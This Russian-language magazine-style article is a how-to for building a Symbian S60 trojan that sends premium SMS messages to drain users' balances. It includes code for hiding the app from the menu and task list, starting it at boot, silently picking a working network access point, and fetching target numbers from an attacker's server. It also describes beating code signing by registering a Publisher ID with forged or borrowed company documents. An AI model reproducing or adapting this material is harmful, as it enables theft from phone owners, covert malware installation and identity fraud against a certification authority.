Введение
В своё время в журнале Хакер я уже рассказывал о том, как писать трояны для смартфонов, способные пересылать копии sms'ок и информацию о звонках на номер хакера. Эти публикации вызвали волну интереса в определенных кругах, и мне до сих пор пишут разные люди с просьбой помочь разобраться в процессе разработки шпионского ПО или с предложением разработать оное за деньги. В этом номере мы учли специфику спроса на подобного рода софт, поэтому опишем процесс разработки продвинутого смс – трояна для смартфонов Nokia, Samsung и LG на базе S60, умеющего незаметно для пользователя сливать деньги с его счёта.
Немного о троянах для смартфонов
Интерес злоумышленников к трубкам невинных пользователей понятен – смартфон является личным средством коммуникации и не только содержит разного рода приватную информацию вроде сообщений, лога звонков и адресной книги, но и может выполнять операции, напрямую связанные с состоянием денежного баланса пользвателя (осуществление звонков, отправка sms, использование GPRS и т.д.). С учётом особенностей функционала смартфонов я бы выделил 3 разновидности вредоносного ПО, представляющего коммерческую ценность для хакеров:
- Шпионское ПО – программы, сливающие тексты сообщений, лог звонков либо посредством sms, либо отправкой на сервер злоумышленника. О разработке подобных программ мы рассказывали в 93-м и 103-м номерах Ха.
- Трояны-рассыльщики платных SMS. Такой софт создается с целью наживы. В простейшем варианте программа периодически незаметно отправляет Premium SMS стоимостью от 0,5 $ до 5$ на номер, зарегистрированный на подставное юридическое лицо, либо вообще на неизвестное частное лицо.
- Шпионский трекер – программа, использующая функционал встроенного GPS – приемника, отправляет на сервер злоумышленников данные о координатах устройства и, соответственно, его владельца. Используется для незаметного слежения за перемещением объекта. Этот вид шпионского софта находится пока в зачаточном состоянии, поскольку сильно ограничен модельным рядом смартфонов, но на рынке абсолютно точно существует уже по крайней мере одна работающая программа – шпион.
Поскольку процесс создания приложений первого типа был уже более или менее детально освещен в указанных выпусках Хакера, здесь мы подробно рассмотрим шаги, необходимые для разработки трояна – рассыльщика. В простейшем случае алгоритм функционирования предельно прост – программа устанавливается в телефон и никак не выдает своё на нём присутствие. Раз в заданный промежуток времени отправляет Premium SMS на заданный номер и всё. Примерно так и функционировал один из первых троянов, обнаруженный для Symbian. Очевидно, что этот функционал требует некоторого усовершенствования, поэтому предлагаю определиться с возможностями продвинутой вредилки, которую мы хотим создать.
Логика функционирования продвинутого трояна
Проблема описанной программы заключается в том, что вскоре после попадания трояна в аппараты пользователей, факт недобросовестности арендатора короткого номера, на который отправляется платная smsка, может сильно озаботить соответствующих собственников этого номера. Обычно в таких случаях они просто блокируют арендатора, дабы он более не мог получать деньги невинных пользователей к себе в карман. Сейчас, тем не менее, не составляет особого труда в короткие сроки зарегистрировать новый короткий номер, поэтому неплохо было бы, чтобы программа могла периодически обновлять информацию о том, куда, собственно, необходимо слать платную sms. Т.е. необходимо реализовать механизм соединения программы с сервером и обновления настроек. Казалось бы – что тут сложного? А сложность заключается в том, что в смартфонах на базе Symbian все соединения посредством tcp sockets (в том числе и HTTP over TCP) осуществляются посредством, так называемой, точки доступа интернет (Internet Access Point). Поэтому, если программа использует функционал соединения с сетью, пользователь должен задать используемую точку доступа хотя бы один раз. Вполне логично, что вряд ли троян был бы незаметен в системе, если бы спрашивал у пользователя какую точку доступа использовать, чтобы обновить информацию о том, куда сливать его денежки. Поэтому нам необходимо реализовать механизм автоматического выбора точки доступа из установленных в смартфоне и определение ее способности быть использованной в качестве транспорта для синхронизации с сервером. Итак, требования к трояну можно сформулировать следующим образом:
- Программа должна быть сокрыта от глаз пользователя (нет иконки в меню телефона, в task list)
- Программа автоматически запускается при старте телефона
- Программа должна уметь автоматически определять работоспособную точку доступа (IAP)
- Программа должна уметь обновлять данные с сервера о том, куда слать сообщения
- В программе должен быть реализован внятный механизм определения периодичности отправки сообщения и сохранения даты последней отправки
- Программа должна, собственно, уметь отправлять сообщения
Помимо этого стоит учесть, что программы, устанавливаемые на современные смартфоны, работающие под управлением Symbian 9, должны быть подписаны цифровым сертификатом, получаемым в конторе под названием SymbianSigned. Предлагаю пошагово рассмотреть этапы разработки трояна и его подготовки к работе.
Прежде, чем приступить
Для того, чтобы разобраться в предлагаемом материале, касающемся непосредственно разработки софта для Symbian неплохо бы иметь хотя бы небольшой опыт разработки под эту мобильную ОС или как минимум ознакомиться с нашими предыдущими статьями, посвященными программированию для мобильных устройств. В данной статье не рассматриваются такие вопросы как базовый костяк приложения, назначение основных классов и функций, базовых парадигм и концепций Symbian, поэтому вам, вероятно, понадобится обратиться к дополнительным источникам информации, если у вас нет опыта разработки под Symbian.
Механизм сокрытия программы от пользователя смартфона
Итак, предположим, что базовый костяк приложения создан. Для этого могут быть использованы как Carbide C++, так и Visual Studio.NET с установленной надстройкой Carbide.VS. Подойдёт базовый шаблон вроде «Symbian Hello World Application”(важно отметить, что в данной статье нет привязки к конкретному SDK, поэтому читатель может использовать любой SDK для любой платформы). Теперь приступим к, собственно, сокрытию приложения от глаз пользователя. Чтобы спрятать программу нужно выполнить 3 простых шага:
- Редактируем структуру, содержащую служебную информацию о приложении и именуемую AIF_DATA в Symbain 7.x-8.x и APP_REGISTRATION_INFO в Symbian 9.x. Данная структура является обычным ресурсом и содержится обычно в том файле ресурсов, который содержит основной UID приложения. Необходимо добавить следующую простую запись:
hidden = KAppIsHidden;
данный флаг попросту скрывает иконку приложения из меню аппарата
- В класс документа приложения добавляем определение виртуальной функции UpdateTaskNameL, служащей для настройки отображения иконки и названия программы в Task – листе:
Void CMegaTroj::UpdateTaskNameL(CApaWindowGroupName*aWgName)
{
CAknDocument::UpdateTaskNameL(aWgName); //вызывается системная функция UpdateTaskNameL
aWgName->SetHidden(ETrue); //Прячем приложение из таск-листа
aWgName->SetSystem(ETrue);
}
- Для Symbian 7/8:
Добавляем в конструктор класса AppUi приложения свойства окна, скрывающие его от глаз пользователя:
CEikonEnv::Static()->RootWin().EnableReceiptOfFocus(EFalse); //приложение никогда не может получить фокус
CEikonEnv::Static()->RootWin().SetOrdinalPosition(-1000, ECoeWinPriorityNeverAtFront);
Для Symbian 9:
Проблема в использовании приведенного кода для Symbian 7/8 состоит в том, что вызов второй статической функции в Symbian 9 блокирует любую активность приложения, включая отправку сообщений. Поэтому мы ограничиваемся вызовом первой функции и переопределяем метод класса CAknViewAppUi (от которого, собственно, и наследуется класс AppUi приложения) HandleForegroundEventL, вызываемого в момент, когда приложение получает или теряет фокус, следующим образом:
void CMegaTroj::HandleForegroundEventL(TBool aForeground)
{
switch (aForeground)
{
case ETrue:
{
CEikonEnv::Static()->RootWin().SetOrdinalPosition(0, ECoeWinPriorityNormal);
TApaTask task(iEikonEnv->WsSession());
task.SetWgId(CEikonEnv::Static()->RootWin().Identifier());
task.SendToBackground();
}
break;
}
}
Всё, теперь наше приложение при установке благополучно исчезает из меню аппарата, task-листа и даже прячется, если пользователь вдруг каким-то образом найдет исполняемый файл в файловой системе и попытается запустить его вручную.
Реализация механизма автостарта приложения
Программирование автостарта придётся рассмотреть отдельно для Symbian 7/8 и для Symbian 9.
Для Symbian 7/8:
В самой Symbian OS до версии 9.х не было явной поддержки механизма автостарта. Тем не менее, есть возможность использовать так называемые recognizers.
Recognizers изначально являются механизмом для идентификации MIME – типа конкретного файла, позволяющим, к примеру, операционной системе определять каким приложением открывать и редактировать файлы определенного типа. Для управления запуском приложений и сохранением данных, основанного на MIME – типах в Series60 существует подсистема, именуемая Document Handler. Эта подсистема разработана для корректного сохранения и открытия контента, полученного, к примеру, через MMS – сообщения, WAP – закачки, bluetooth и т.д. Проще говоря, данный механизм позволяет при открытии картинки из аттача сообщений открыть ее именно программой просмотра сообщений, а не чем-то еще. При этом в Series60 развит, так назывемый, embedded launching, т.е. если в приложении А требуется обработка контента, по типу соответствующему приложению В, то приложение А вызывает приложение В и передает ему соответствующий контент, но при этом вернуться в приложение А можно только по факту завершения работы с контентом в В. Примером может служить открытие в WEB – браузере смартфона ссылки на jpg – картинку. Для просмотра файла запускается Image Viewer, только после закрытия которого можно вернуться к браузеру.
Привязка конкретных приложений к конкретным типам осуществляется путем хранения соответствий MIME-типов уникальным идентификаторам приложений (UID). Для того, чтобы помочь Symbian OS определить каким приложением открывать файл с конкретным разрешением или MIME – типом изначально и служили Recognizers. По своей сути recognizer – это dll, имеющая разрешение mdl и сохраняемая в директории c:\system\recogs смартфона. При старте смартфона ОС регистрирует соответствия вида
MIME – тип / UID приложения путем вызова кода recognizer’ов.
Именно этот факт и можно использовать для автостарта приложения. В данном случае процедура реализации автостарта следующая:
• Создаем recognizer для файлов с расширением *.bt (к примеру, на самом деле расширение тут вообще не принципиально)
• В коде инициализации recognizer'a, запускаемом при старте смартфона прописываем путь к файлу трояна, который и требуется запустить и, собственно, запускаем его J
Данный процесс довольно сложный для восприятия, но исходники, как обычно, прилагаются на диске к журналу. Здесь мы не будем его приводить, ибо место не позволяет.
Для Symbian 9:
Тут, к счастью, всё гораздо проще, чтобы заставить троян запускаться при старте мобилы нужно сделать следующее:
- создать файл ресурсов (*.rss), называемый по UID3 приложения. В частности, если UID3 0x12345678, то файл ресурсов называем 12345678.rss. Содержать он будет следующий ресурс:
#include <startupitem.rh>
RESOURCE STARTUP_ITEM_INFO blacklist
{
executable_name = "c:\\sys\\bin\\YourApp.exe";
recovery = EStartupItemExPolicyNone;
}
- в MMP - файл добавляем команду компиляции файла ресурсов:
START RESOURCE 12345678.rss
TARGETPATH \resource\apps
END
- в pkg - файл добавляем строку:
"C:\Symbian\9.1\S60_3rd_MR\epoc32\data\z\resource\apps\12345678.rsc"-"c:\private\101f875a\import\[12345678].rsc"
в данном случае директория c:\private\101f875a\import является рабочим каталогом, на основании содержания которого формируется список автозагрузки.
Всё, теперь мы, фактически, создали хороший такой универсальный костяк для практически любого трояна для Symbian. Идем дальше.
Реализация механизма автоматического определения работоспособной точки доступа
На мой взгляд, это самая сложная часть. Базовая идея реализация механизма состоит в следующем:
- Программно получаем список всех сохраненных в настройках устройства точек доступа. Среди них будут как GPRS –, так и WAP- и MMS-точки доступа. При этом при получении списка точек доступа посредством класса CApSelect, который мы будем использовать, можно задавать фильтр составления списка, в том числе и по типу точки доступа (GPRS/WAP/MMS). Мы рекомендуем, тем не менее, фильтрацию не проводить, поскольку принадлежность конкретной точки доступа к конкретному типу с точки зрения CApSelect не гарантирует в ряде случаев, что через данную конкретную точку доступа нельзя достучаться до нашего сервера (или можно, наоборот).
- Начинаем перебирать каждую точку доступа из списка, используя ее для тестового соединения с удалённым echo – сервером, отправляющим клиенту (в данном случае нашей программе) в точности тот же набор байт, который получил от него. Проще говоря, пытаемся отправить на эхо-сервис байты 0x01,0x02 и 0x03 и проверяем, что получили именно байты 0x01,0x02 и 0x03 обратно. Условие приема данной комбинации байт является необходимым и достаточным для точной идентификации, что точка доступа может быть использована для соединения с сервером. В случае любого другого результата – таймаут запроса, код ошибки и т.д. идентифицируем данную точку доступа как нерабочую.
- Сохраняем идентификатор полученной рабочей точки доступа и используем ее для соединения с сервером.
Для получения списка точек доступа, как уже отмечалось, используется экземпляр класса CApSelect. Его можно сделать членом класса AppUi приложения, к примеру и вызывать в конструкторе AppUi следующий код (который, соответственно, будет вызываться при старте приложения):
CCommsDatabase* commDb = CCommsDatabase::NewL(EDatabaseTypeIAP);
CleanupStack::PushL(commDb);
iSelect = CApSelect::NewLC(*commDb, KEApIspTypeAll, EApBearerTypeGPRS, KEApSortNameAscending);
iConnectionEnabled = iSelect->MoveToFirst();
CleanupStack::Pop(iSelect);
CleanupStack::PopAndDestroy(commDb); //commDb
Здесь мы подсоединяемся к базе данных commDB и создаем список точек доступа. После чего устанавливаем индекс списка на первую позицию. Настоятельно рекомендуем изучить описание CApSelect в SDK. Теперь можно тестировать точки доступа. В качестве движка работоспособности точки доступа используется модифицированный движок TCP, исходные коды которого можно взять на forum.nokia.com. Модификация заключается в том, что в него добавлен класс – observer (MtcpipIapCheckEngineObserver), содержащий единственный метод TestCompleted, вызываемый движком при индикации процесса окончании тестирования конкретной точки доступа. В нашем случае от MTcpipIapCheckEngineObserver наследуется AppUi. Отметим, тем не менее, что вся логика использования экземпляра класса CIapCheckTcpEngine в AppUi заключается в обработке вызова TestCompleted, параметром которого как раз и является индикатор успешности или неуспешности использования точки доступа. Код TestCompleted выглядит следующим образом:
void CMegaTroyAppUi::TestCompleted(TIapTestResult aTestResult)
{
if(aTestResult == EIapNotUsable)
{
GetNextIapId();//переходим к тестированию следующей точки доступа
}
else
{
HandleCommandL(EConnectToServer);//ломимся на сервер
}
}
Как видно, в случае успеха, мы коннектимся к серверу и обновляем номер.
Реализация механизма коннекта к серверу и чтения настроек
Для того, чтобы иметь возможность удалённо задать нашему трояну номер, на который нужно слать недешевое sms, необходимо реализовать какое-то подобие админки:

Проще всего сделать это с использованием стандартной связки PHP + MySQL. После изменения и занесения номера в базу на сервере необходимо реализовать простенький интерфейс взаимодействия с мобильным телефоном. Тут можно пойти разными путями – можно просто выводить плейн-текстом номер и текст сообщения при обращения к странице вида http://yourhost.ru/megascript.php, можно использовать XML для поддержки расширяемости. Вообщем, это уже дело вкуса. Главное, корректно обработать отдаваемые сервером данные на стороне мобильного приложения. Проще всего снова пойти на forum.nokia.com или запросить у нас код HTTP – движка, позволяющего осуществлять GET – запросы. Использование экземпляра класса движка из AppUi выглядит примерно так:
iHTTPEngine->GetRequestL(iUri,iIapId);
где iUri – url скрипта, возвращающего номер, а iIapId – идентификатор точки доступа, которую мы решили использовать. После получения ответа от сервера нужно позаботиться о том, чтобы сохранить номер в файл или в локальную переменную и отправить sms.
Механизм отправки sms
Данный функционал уже неоднократно описывался на страницах журнала Хакер, на тематических форумах и в SDK. Тем не менее, в скором времени на данном ресурсе будет доступна статья, подробно рассматривающая механизм незаметной отправки SMS.
Сертификация приложения
Как уже говорилось, для того, чтобы приложения могли беспрепятственно устанавливаться в смартфоны под управлением Symbian 9, необходимо их подписывать цифровым сертификатом. Данная мера была введена в рамках технологии Symbian Platform Security, появившейся в Symbian OS 9.1 и предназначенной для защиты как раз от подобного софта. Если попытаться сформулировать вкратце суть проблемы, то чтобы заставить приложение установиться в телефон пользователя есть два пути:
- Узнать IMEI (универсальный идентификатор аппарата) телефонов всех пользователей и вручную подготовить сертификат средствами Symbian Offline Signed. При этом программа будет устанавливаться исключительно на смартфоны из множества IMEI, указанных при создании сертификата
- Подписать приложение на сайте Symbian средствами Express Signed или Certified Signed. Express Signed отличается от Certified Signed тем, что подпись стоит существенно дешевле (20$), а также не требует тестирования программы вручную специалистами тестового центра. Необходимо просто засабмитить форму с информацией о приложении и само приложение. Если все сделать правильно, то на выходе получаем сертифицированное приложение. После этого, тем не менее, приложение может попасть на аудит и сертификация будет аннулирована, если тестерам что-то не понравится. Certified Signed подразумевает собой тестирование вручную специалистами тестового центра. В нашем случае это вообще не вариант – никто не даст сертифицировать троян.
Довольно очевидно, что из указанных двух способов первый едва ли может быть применим в нашем случае. Невозможно собрать IMEI всех мобил, куда мы хотим установить нашу программу. Единственный путь – сертификация посредством Express Signed. Существенной проблемой в этом случае является тот факт, что для того, чтобы воспользоваться Express Signed, необходимо иметь универсальный идентификатор поставщика услуг Publisher ID. Publisher ID стоит 200$ в год и предоставляется исключительно юридическим лицам, предоставившим учредительские документы в TrustCenter. Процедура регистрации Publisher ID в нашем случае примерно следующая:
- Заполняем анкету на trustcenter.de/order/publisherid/dev, вводим данные кредитки
- На указанный e-mail приходит письмо с перечнем необходимых документов, которые необходимо предоставить для идентификации поставщика услуг (разработчика)
- Отправляем сканы документов какого-нибудь левого юр.лица (можно и индивидуального предпринимателя)
- Получаем ссылку на сертификат, устанавливающийся в браузер. Он потом понадобится, чтобы получить доступ к функциям Express Signed из личного кабинета на сайте SymbianSigned.com
Всё, Publisher ID получен. Тонким моментом здесь является отправка учредительских документов юридического лица. Думаю, очевидно, что нужно найти возможность отправки каких-нибудь поддельных или чужих документов. Как показывает практика, у Trustcenter нет возможности проверить их подлинность, поэтому можно хоть в фотошопе их нарисовать. После получения Publisher ID мы получаем доступ к Express Signed и можем сабмитить свеженаписанный троян на подпись. Здесь шаги следующие:
- Заливаем троян на подпись
- Он автоматически подписывается сертификатом и с этого момента может быть установлен в любой смартфон
- Быстренько скачиваем наш троян с сайта SymbianSigned и начинаем распространять
- Троян, возможно, попадает на аудит
- Специалисты тестового центра аннулируют сабмит, удаляя подписанную программу с сайта и блокируют Publisher ID
В данном случае, даже если пункты 4 и 5 будут иметь место (что совсем не факт), то мы в любом случае успеем скачать подписанный троян и сможем его распространять. Для распространения заразы Publisher ID не нужен и даже если его заблокируют, нам это уже будет малоинтересно, ибо мы делали его на подставные документы. Таким вот незаурядным способом обходится защита Symbian Platform Security.
Happy End
Как видно, задача написания функционального трояна для Symbian не такая уж и тривиальная, но вполне выполнимая. На данный момент угроза безопасности не так явна в силу относительной сложности описанных процедур реализации функционала. Вирусописатели еще не успели наплодить массу опасного ПО. Но наплодят со временем, поэтому пользователям мобильных устройств можно посоветовать внимательнее относиться к устанавливаемому ПО, полученных из непроверенных источников. Если же читатель заинтересован в разработке или использовании подобных «продуктов», то напоминаем, что это противозаконная деятельность, которая может привести к печальным последствиям.